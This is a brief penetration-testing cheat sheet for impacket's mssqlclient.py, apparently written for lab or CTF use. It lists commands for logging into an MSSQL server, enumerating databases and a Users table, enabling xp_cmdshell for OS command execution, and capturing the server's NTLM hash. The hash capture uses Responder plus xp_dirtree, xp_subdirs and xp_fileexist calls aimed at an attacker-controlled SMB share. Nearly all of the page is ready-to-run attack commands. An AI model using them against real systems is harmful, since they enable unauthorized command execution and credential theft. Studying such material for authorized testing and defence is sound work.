Skip to content

Mssqlclient

Description

Mssqlclient is an impacket tool for communicating with the server to manipulate information in the databases that the server manages.

Usage

mssqlclient.py qu35t@10.10.10.10 -windows-auth

Enumeration

select name from sys.databases;
select TABLE_NAME from Backup.INFORMATION_SCHEMA.TABLES;
select * from Backup.dbo.Users;

Command Execution

enable_xp_cmdshell
xp_cmdshell "whoami" 

Get user hash

responder -I tun0
xp_dirtree "\\10.10.14.10\qu35t\"
xp_subdirs "\\10.10.14.10\qu35t\"
xp_fileexist "\\10.10.14.10\qu35t\"

References